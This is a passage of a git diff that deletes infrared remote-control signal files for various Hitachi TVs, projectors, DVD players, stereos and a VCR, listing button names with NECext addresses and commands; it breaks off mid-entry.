NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 40 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 43 00 00 00 -# -name: PSCAN100HZ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 4D 00 00 00 -# -name: KEY_X -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 54 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 6B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 6C 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 6D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir deleted file mode 100644 index 55a2e5f31..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 04 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 05 00 00 00 -# -name: CH_I/II -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 08 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0F 00 00 00 -# -name: Store -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: X_KEY_3D-SOUND -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 45 00 00 00 -# -name: U.N.L. -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 46 00 00 00 -# -name: HOLD -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 47 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 4C 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 4F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 53 00 00 00 -# -name: Reveal -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5D 00 00 00 -# -name: TV/TEXT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 66 00 00 00 -# -name: Picture -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 67 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 68 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 6B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 70 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 71 00 00 00 -# -name: Sound+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 72 00 00 00 -# -name: Sound- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir deleted file mode 100644 index 125985eca..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 17 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 18 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 19 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 1A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 20 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 21 00 00 00 -# -name: Reset -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 22 00 00 00 -# -name: Auto -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 24 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 28 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 2A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 2C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 2E 00 00 00 -# -name: Position -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 30 00 00 00 -# -name: Blank -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 41 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 52 00 00 00 -# -name: Volume -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 53 00 00 00 -# -name: Aspect -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 7A 00 00 00 -# -name: MagnifyOn -type: parsed -protocol: NECext -address: 87 45 00 00 -command: B0 00 00 00 -# -name: MagnifyOff -type: parsed -protocol: NECext -address: 87 45 00 00 -command: B3 00 00 00 -# -name: Freeze -type: parsed -protocol: NECext -address: 87 45 00 00 -command: B4 00 00 00 -# -name: Keystone -type: parsed -protocol: NECext -address: 87 45 00 00 -command: B6 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 87 45 00 00 -command: D0 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 87 45 00 00 -command: D1 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 87 45 00 00 -command: D4 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 87 45 00 00 -command: D5 00 00 00 -# -name: End0 -type: parsed -protocol: NECext -address: 87 45 00 00 -command: D6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir deleted file mode 100644 index e247b719a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 00 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 02 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 03 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 04 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 05 00 00 00 -# -name: TopMenu -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 06 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 07 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 08 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 0A 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 0C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 0F 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 10 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 12 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 14 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 19 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 1A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 1B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 1C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 1D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 1E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 1F 00 00 00 -# -name: ABRepeat -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 20 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 22 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 23 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 24 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 25 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 26 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 27 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 2A 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 2B 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 2C 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 2D 00 00 00 -# -name: DiscNav -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 32 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 3B 00 00 00 -# -name: SearchMode -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 3E 00 00 00 -# -name: Surround -type: parsed -protocol: NECext -address: 80 23 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir deleted file mode 100644 index 4033baa5a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 02 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 07 00 00 00 -# -name: CASSETTE_TAPE_1/2 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 09 00 00 00 -# -name: CD_PLAY/PAUSE -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 12 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 13 00 00 00 -# -name: CD_SKIP_FWD -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 14 00 00 00 -# -name: CD_SKIP_BACK -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 15 00 00 00 -# -name: CD_PROG -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 16 00 00 00 -# -name: CASSETTE_PLAY_FORWARD -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 19 00 00 00 -# -name: CASSETTE_PLAY_BACK -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 1A 00 00 00 -# -name: CASSETTE_FFW -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 1B 00 00 00 -# -name: CASSETTE_REW -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 1C 00 00 00 -# -name: CASSETTE_STOP -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 1D 00 00 00 -# -name: CASSETTE_REC -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 1F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 4D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 4E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 4F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 50 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 51 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 52 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 53 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 54 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 55 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 56 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 57 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir deleted file mode 100644 index 4c6ca54f6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: X_KEY_1# -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 12 00 00 00 -# -name: Off-Timer -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 17 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: X_KEY_2# -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 19 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1B 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1F 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: T.Mod -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 32 00 00 00 -# -name: PMode+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 34 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 37 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 -# -name: PMode- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3C 00 00 00 -# -name: PMode -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir deleted file mode 100644 index a95f4d926..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: F.FWD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: VISUAL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: F.ADV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir deleted file mode 100644 index 0cc7aec79..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: but_8 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 04 00 00 00 -# -name: but_9 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 05 00 00 00 -# -name: tv/video -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: but_10 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0C 00 00 00 -# -name: but_1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0D 00 00 00 -# -name: but_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0E 00 00 00 -# -name: but_3 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0F 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: but_4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1C 00 00 00 -# -name: but_5 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1D 00 00 00 -# -name: but_6 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: but_7 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 44 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 53 00 00 00 -# -name: krasn -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5B 00 00 00 -# -name: zelen -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5C 00 00 00 -# -name: jolt -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5D 00 00 00 -# -name: zelen -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir deleted file mode 100644 index ec5af62e0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: pow -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 00 00 00 00 -# -name: vl+ -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 01 00 00 00 -# -name: vl- -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 02 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 07 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 08 00 00 00 -# -name: tape_select -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 09 00 00 00 -# -name: ply -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 12 00 00 00 -# -name: stp -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 13 00 00 00 -# -name: faf -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 15 00 00 00 -# -name: mnu -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 16 00 00 00 -# -name: rst -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 17 00 00 00 -# -name: ant -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 18 00 00 00 -# -name: srt -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 19 00 00 00 -# -name: slt -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 1A 00 00 00 -# -name: rgt -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 1B 00 00 00 -# -name: lft -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 1C 00 00 00 -# -name: tape_stop -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 1D 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 1F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 4D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 4E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 4F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 50 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 51 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 52 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 53 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 54 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 55 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 56 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 57 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/0,-1.ir deleted file mode 100644 index b92c0fcf4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/0,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: TV_OPERATE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: TV_VOLUME_^ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: TV_CHANNEL_^ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: TV_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: LAST_CH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: TV_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: TV_VOLUME_V -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: TV_1_(Q_Z) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: TV_2_(A_B_C) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: TV_3_(D_E_F) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: TV_4_(G_H_I) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: TV_5_(J_K_L) -type: 